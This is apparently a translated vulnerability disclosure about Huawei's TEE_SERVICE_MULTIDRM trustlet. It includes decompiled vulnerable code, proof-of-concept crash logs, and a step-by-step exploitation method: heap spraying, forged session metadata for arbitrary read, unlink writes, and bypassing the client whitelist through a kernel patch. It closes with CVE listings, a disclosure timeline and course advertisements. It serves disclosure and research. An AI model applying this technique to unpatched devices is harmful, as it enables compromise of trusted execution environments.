二进制漏洞分析-5.华为安全监控漏洞(SMC MNTN OOB 访问)
二进制漏洞分析-10.华为TrustZone TEE_SERVICE_VOICE_REC漏洞
二进制漏洞分析-11.华为TrustZone TEE_SERVICE_MULTIDRM漏洞(上)
MDrm_TA_CMD_OEMCrypto_DecryptCENC
¶第一个 OOB 读取访问权限位于以下函数中:MDrm_TA_CMD_OEMCrypto_DecryptCENC
int MDrm_TA_CMD_OEMCrypto_DecryptCENC(int paramTypes, TEE_Param params[4]) {
// [...]
cur_ptr = params[0].memref.buffer;
size_left = params[0].memref.size;
// [...] ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user1);
if (ret) goto EXIT;
cur_ptr += 4; size_left -= 4;
ret = MDrm_Utils_ReadU16(cur_ptr, size_left, &user2);
if (ret) goto EXIT;
cur_ptr += 2; size_left -= 2;
ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user3);
if (ret) goto EXIT;
cur_ptr += 4 + user3;
size_left -= 4 + user3;
ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user4);
// [...]
}
如上面的代码片段所示,用户控制的值用于递增 和 递减。如果给出的值大于缓冲区的实际剩余大小,则缓冲区将越界。上还会有一个整数下溢,导致巨大的尺寸。下一次调用将从攻击者控制的地址 () 读取。user3
cur_ptr
size_left
user3
params[0]
cur_ptr
size_left
MDrm_Utils_ReadU32
0x7000300a + user3
我们通过概念验证触发了此错误,并在以下位置获得了以下崩溃:0xb141714b = 0x7000300a + 0x41414141
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0xb141714b, fault_code: 0x92000005
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM] name=[TEE_SERVICE_MUL] tid=40 is-idle=0 is-curr=0
[HM] state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM] aff[0]=ff
[HM] flags=1000 smc-switch=0 ca=7364 prefer-ca=7364
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <MDrm_Utils_ReadU32+0x48/0x6c>
[HM] <MDrm_TA_CMD_OEMCrypto_DecryptCENC>+0xfc/0x300
[HM] <MDrm_TA_CMD_OEMCrypto_DecryptCENC>+0xfc/0x300
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]
[HM] [TRACE][1212]pid=52 exit_status=130
MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30
¶可以在函数中找到类似的 OOB 读取访问权限:MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30
int MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30(int paramTypes, TEE_Param params[4]) {
// [...]
cur_ptr = params[0].memref.buffer;
size_left = params[0].memref.size;
// [...] // 2 calls to MDrm_Utils_ReadU32
// [...]
ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
if (ret) goto EXIT;
cur_ptr += 4 + read_val;
size_left -= 4 + read_val;
ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
// [...]
}
根本原因与上一个 bug 完全相同。我们通过概念验证触发了此错误,并在以下位置获得了以下崩溃:0xb141714d = 0x7000300c + 0x41414141
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0xb141714d, fault_code: 0x92000005
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM] name=[TEE_SERVICE_MUL] tid=40 is-idle=0 is-curr=0
[HM] state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM] aff[0]=ff
[HM] flags=1000 smc-switch=0 ca=6821 prefer-ca=6821
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <MDrm_Utils_ReadU32+0x48/0x6c>
[HM] <MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30>+0xd8/0x18c
[HM] <MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30>+0xd8/0x18c
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]
[HM] [TRACE][1212]pid=42 exit_status=130
MDrm_TA_CMD_Provision_GetRequest
¶可以在函数中找到类似的 OOB 读取访问权限:MDrm_TA_CMD_Provision_GetRequest
int MDrm_TA_CMD_Provision_GetRequest(int paramTypes, TEE_Param params[4]) {
// [...]
cur_ptr = params[0].memref.buffer;
size_left = params[0].memref.size;
// [...] ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
if (ret) goto EXIT;
cur_ptr += 4 + read_val;
size_left -= 4 + read_val;
ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
// [...]
}
根本原因与上一个 bug 完全相同。我们通过概念验证触发了此错误,并在以下位置获得了以下崩溃:0xb1417145 = 0x70003004 + 0x41414141
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0xb1417145, fault_code: 0x92000005
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM] name=[TEE_SERVICE_MUL] tid=40 is-idle=0 is-curr=0
[HM] state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM] aff[0]=ff
[HM] flags=1000 smc-switch=0 ca=5746 prefer-ca=5746
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <MDrm_Utils_ReadU32+0x48/0x6c>
[HM] <MDrm_TA_CMD_Provision_GetRequest>+0x94/0x158
[HM] <MDrm_TA_CMD_Provision_GetRequest>+0x94/0x158
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]
如漏洞详细信息部分所述,我们将利用其中一个漏洞,即 中的漏洞,以证明可以从每个堆缓冲区溢出中获得任意读/写。其他溢出的利用路径将非常相似。MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys
我们开发漏洞利用的设备是运行固件更新的P40 Pro。ELS-LGRP4-OVS_11.0.0.196
trustlet 二进制 MD5 校验和如下:
HWELS:/ # md5sum /vendor/bin/0069f244-9733-4e8c-98c7-e36cb764a6b6.sec
eb62634a90b7e72da420d124019cc13b /vendor/bin/0069f244-9733-4e8c-98c7-e36cb764a6b6.sec
华为TEE OS iTrustee实现了白名单机制,只允许特定的客户端应用(原生二进制文件或APK)与可信应用通信。
在我们的例子中,TEE_SERVICE_MULTIDRM TA 只能被 4 个原生二进制文件调用:
/vendor/bin/atcmdserver
(uid 0)
/vendor/bin/hw/[email protected]
(UID 1013)
/vendor/bin/hw/[email protected]
(UID 1013)
/system/bin/mediadrmserver
(UID 1013)
身份验证机制分为 3 个部分:
- 守护进程,实现 TEE 客户端 API,检查哪个原生二进制文件/APK 正在与它通信,并将该信息发送到内核驱动程序;
- 内核驱动程序确保它正在与 通信,并将它收到的信息转发给 TEE OS;
- TEE OS 验证客户端应用是否在 TA 的白名单中。teecd
teecd
由于我们不想费心在这些二进制文件之一中注入代码,因此我们选择通过修补内核驱动程序来规避身份验证,以添加模拟任何原生二进制文件/APK 的功能。
第一步是构建一个任意读取,因为我们可以使用它来查找 trustlet 的基址(使用 TALoader 信息泄漏)。
为了构建这个任意读取,我们将把我们可以溢出的对象放在会话之前。这样,我们将能够修改会话对象的字段,特别是在某些命令中取消引用的“RSA 键指针”。
为了确保我们的分配最终到达我们想要的位置,我们需要做一些堆整形。在我们的漏洞利用中,我们首先分配 64 个会话(最大数量)。这些会话应该在内存中相互跟随。然后我们释放其中一个,在我们的例子中是中间的那个,为我们将分配和溢出的对象留出空间。
它实际上比这要复杂一些,因为打开单个会话会触发 3 个分配:
分配0x98(四舍五入至0xA0,会议)
0x30分配(四舍五入为 0x40,随机数表条目)
分配0x8(四舍五入到0x10,列表条目)
尽管如此,这 3 次分配可以被认为是一个大分配。它们在关闭会话时按顺序释放,分配器会合并相邻对象,因此它们最终将作为大小为 0xF0 的单个可用块。
int MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys(int paramTypes, TEE_Param params[4]) {
// [...]
cur_ptr = params[0].memref.buffer;
size_left = params[0].memref.size;
uint32_t *alloc;
// [...] ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user1);
if (ret) goto EXIT;
cur_ptr += 4; size_left -= 4;
ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user2);
if (ret) goto EXIT;
cur_ptr += 4; size_left -= 4;
ret = MDrm_Memory_Calloc(8 * sizeof(uint32_t) * user2, &alloc);
if (ret) goto EXIT;
for (int i = 0; i != user2; ++i) {
for (int j = 0; j != 8; ++j) {
ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &alloc[i*8+j]);
if (ret) goto EXIT;
cur_ptr += 4; size_left -= 4;
}
}
ret = MDrm_TA_CryptoKeyLadder_LoadEntitledContentKeys(user1, ¶ms[1], user2, alloc);
EXIT:
MDrm_free(alloc);
return ret;
}
在喷洒堆后,我们调用分配和溢出对象。由于我们指定的值为 0x80000007,因此分配的大小应完全适合我们在堆喷涂期间创建的孔(为堆元数据留出足够的空间)。LoadEntitledContentKeys
user2
0x80000007 * 0x18 = 0xE0
在我们溢出的对象之后是下一个对象的元数据:
struct chunk {
size_t psize, csize; /* for all objects */
struct chunk *next, *prev; /* for free objects only */
};
在会话对象的元数据中,我们覆盖:
的 .0xF0 是我们刚刚分配的对象的大小(考虑到元数据大小,并四舍五入到下一个 16 字节边界)。1 是标志(表示前一个对象已分配且未释放)。这可以防止在释放对象时崩溃,因为分配器可以检测到损坏的页脚。psize
0xF1 = 0xF0 | 1
C_INUSE
的 .0xA0 是会话对象(打开会话时分配的 3 个对象中的第一个)的大小。我们指定标志,这样它就不会与我们的对象合并。csize
0xA1 = 0xA0 | 1
C_INUSE
由于会话对象正在使用中,因此 和 指针不在其元数据中,并且对象内容紧跟在 之后。next
prev
csize
在会话对象的内容中,我们覆盖:
会话 ID(偏移量为 0 的字段)0x1337;
指向会话的 RSA 密钥(位于偏移量 4)的指针,其中包含我们要从中读取的地址;
RSA 密钥用法(偏移量 8)和 0xFF(用于传递检查)。GenerateRSASignature
然后,我们使用该命令触发任意读取。GenerateRSASignature
int MDrm_TA_CMD_OEMCrypto_GenerateRSASignature(int paramTypes, TEE_Param params[4]) {
// [...]
ret = MDrm_TA_DrmCertificateProvisioning_GenerateRSASignature(
params[0].value.a, ¶ms[1], ¶ms[2], params->value.b);
if (ret == 0x77770007) {
ret = 0;
params[3].value.a = params[2].memref.size;
}
// [...]
}
int MDrm_TA_DrmCertificateProvisioning_GenerateRSASignature(int sessionId, TEE_Param *data TEE_Param *sign, int usage) {
// [...]
ret = MDrm_TA_OEMCryptoEngine_FindSession(sessionId, &session);
if (!ret)
ret = MDrm_TA_OEMCryptoSession_SignMessage(session, data, sign, usage);
return ret;
}
int MDrm_TA_OEMCryptoSession_SignMessage(session_t *session, TEE_Param *data, TEE_Param *sign, int usage) {
// [...]
if ((usage & session->rsa_key_usage) == 0)
return 0x77770019;
ret = MDrm_TA_Crypto_RsaKeySze(rsa_key, &rsa_key_size);
if (!ret) {
if (sign->memref.size < rsa_key_size) {
result = 0x77770007;
sign->memref.size = rsa_key_size;
}
// [...]
}
return ret;
}
int MDrm_TA_Crypto_RsaKeySze(void *key, uint32_t *key_size_p) {
// [...]
*key_size_p = *(key + 4);
// [...]
}
此命令可以返回从我们刚刚伪造的 RSA 键指针读取的值。我们设置为 0xFF 的 RSA 密钥用法字段允许传递第一次签入。然后,此函数调用 ,该函数将从 RSA 键指针读取偏移量 4 处的 dword,并将其放入局部变量 中。通过指定一个非常小的值(其中一个输入参数),将设置为,并且该函数将提前返回代码0x77770007。MDrm_TA_OEMCryptoSession_SignMessage
MDrm_TA_Crypto_RsaKeySze
rsa_key_size
sign->memref.size
sign->memref.size
rsa_key_size
返回 ,将检查 的返回码,如果0x77770007,则将设置为放入 的值。这有效地允许 CA 检索刚刚读取的值。MDrm_TA_CMD_OEMCrypto_GenerateRSASignature
MDrm_TA_DrmCertificateProvisioning_GenerateRSASignature
params[3].value.a
sign->memref.size
为了避免在会话关闭时崩溃,每次读取后,我们都会再次触发堆缓冲区溢出,以将 RSA 键指针设置为 NULL。
对于我们的 write 原语,我们可以简单地使用经典的取消链接堆利用技术,当我们的对象被释放时触发。
// called from free(), c is the freed object
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
c->prev->next = c->next;
c->next->prev = c->prev;
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}
通过溢出下一个对象的元数据,我们可以将 和 设置为任意值。释放此对象时,将执行该函数,它将:c->prev
c->next
unbin
将值写入地址c->next
c->prev + 8
;
将值写入地址。c->prev
c->next + 12
但这种技术有一个主要缺点:地址和值都必须是可写的地址。为了解决这个问题,我们决定使用该命令进行最后的写入。SetDecryptHash
int MDrm_TA_CMD_OEMCrypto_SetDecryptHash(int paramTypes, TEE_Param params[4]) {
// [...]
return MDrm_TA_TestAndVerificationFunctions_SetDecryptHash(
params[0].value.a, params[0].value.b, ¶ms[1]);
}
int MDrm_TA_TestAndVerificationFunctions_SetDecryptHash(int a, int b, TEE_Param *param1) {
// [...]
ret = j_MDrm_TA_OEMCryptoEngine_FindSession(a, &session);
if (!ret)
ret = MDrm_TA_OEMCryptoSession_SetDecryptHash(session, b, param1);
return ret;
}
int MDrm_TA_OEMCryptoSession_SetDecryptHash(session_t *session, int b, TEE_Param *param1) {
// [...]
session->user_b = b; /* offset 0x8c */
session->user_param1 = *(int *)param1->memref.buffer; /* offset 0x88 */
// [...]
}
此命令将在会话对象中的偏移量 0x88 和 0x8c处写入两个 dword 值。我们需要给它一个位于用户控制地址的会话对象。为此,我们可以使用 unlink 原语修改全局会话链表,该链表可按会话的 ID 查找会话。MDrm_TA_OEMCryptoEngine_FindSession
在我们的漏洞利用中,我们通过在 trustlet 部分写入一个值 (0xdeadbeef) 并将其读回来演示我们的读/写原语。.data
adb wait-for-device shell su root sh -c "/data/local/tmp/tee_service_multidrm"
ta_base_addr = 38fb000
g_sessions = 113ef10
first = 113ffb0
0392c0d0: deadbeef (should be 0xdeadbeef)
虽然它不包含在漏洞中,但可以执行代码,例如通过覆盖 cJSON 库的全局变量的函数指针或 libc 的众多全局变量之一。这可用于进行任意系统调用,并可能进一步提升权限。global_hooks
我们验证了这些漏洞是否影响了以下设备:
麒麟990:P40 专业版 (ELS)
请注意,其他型号可能已受到影响。
名字 | 严厉 | CVE漏洞 | 补丁 |
---|---|---|---|
堆缓冲区溢出MDrm_TA_CMD_OEMCrypto_LoadKeys | 危急 | CVE-2021-46881 漏洞 | 2023 年 5 月 |
堆缓冲区溢出MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys | 危急 | CVE-2021-40034 漏洞 | 2022 年 8 月 |
堆缓冲区溢出MDrm_TA_CMD_OEMCrypto_RefreshKeys | 危急 | CVE-2021-46882 漏洞-2021-46882 | 2023 年 5 月 |
堆缓冲区溢出MDrm_TA_OEMCryptoUsageTable_LoadUsageTableHeader | 危急 | CVE-2021-46883 漏洞CVE-2021-46883 | 2023 年 5 月 |
OOB 写入访问权限MDrm_TA_CMD_OEMCrypto_CopyBuffer | 危急 | CVE-2021-46884 漏洞 | 2023 年 5 月 |
OOB 读取访问权限MDrm_TA_CMD_Provision_GetRequest | 高 | CVE-2021-46885 漏洞CVE-2021-46885 | 2023 年 5 月 |
OOB 读取访问权限MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30 | 高 | CVE-2021-46886 漏洞 | 2023 年 5 月 |
OOB 读取访问权限MDrm_TA_CMD_OEMCrypto_DecryptCENC | 高 | CVE-2021-46814 漏洞 | 2022 年 6 月 |
2021年11月03日 - 向华为PSIRT发送漏洞报告。
2021年11月22日 - 华为PSIRT确认该漏洞报告。
2022年6月1日 - 华为PSIRT表示,这些问题已在2022年6月、2022年8月和2023年5月的更新中修复。
从 2022 年 11 月 30 日至 2023 年 7 月 19 日 - 我们定期交换有关公告发布的信息。
二进制漏洞(更新中)
其它课程
windows网络安全防火墙与虚拟网卡(更新完成)
windows文件过滤(更新完成)
USB过滤(更新完成)
游戏安全(更新中)
ios逆向
windbg
恶意软件开发(更新中)
还有很多免费教程(限学员)
更多详细内容添加作者微信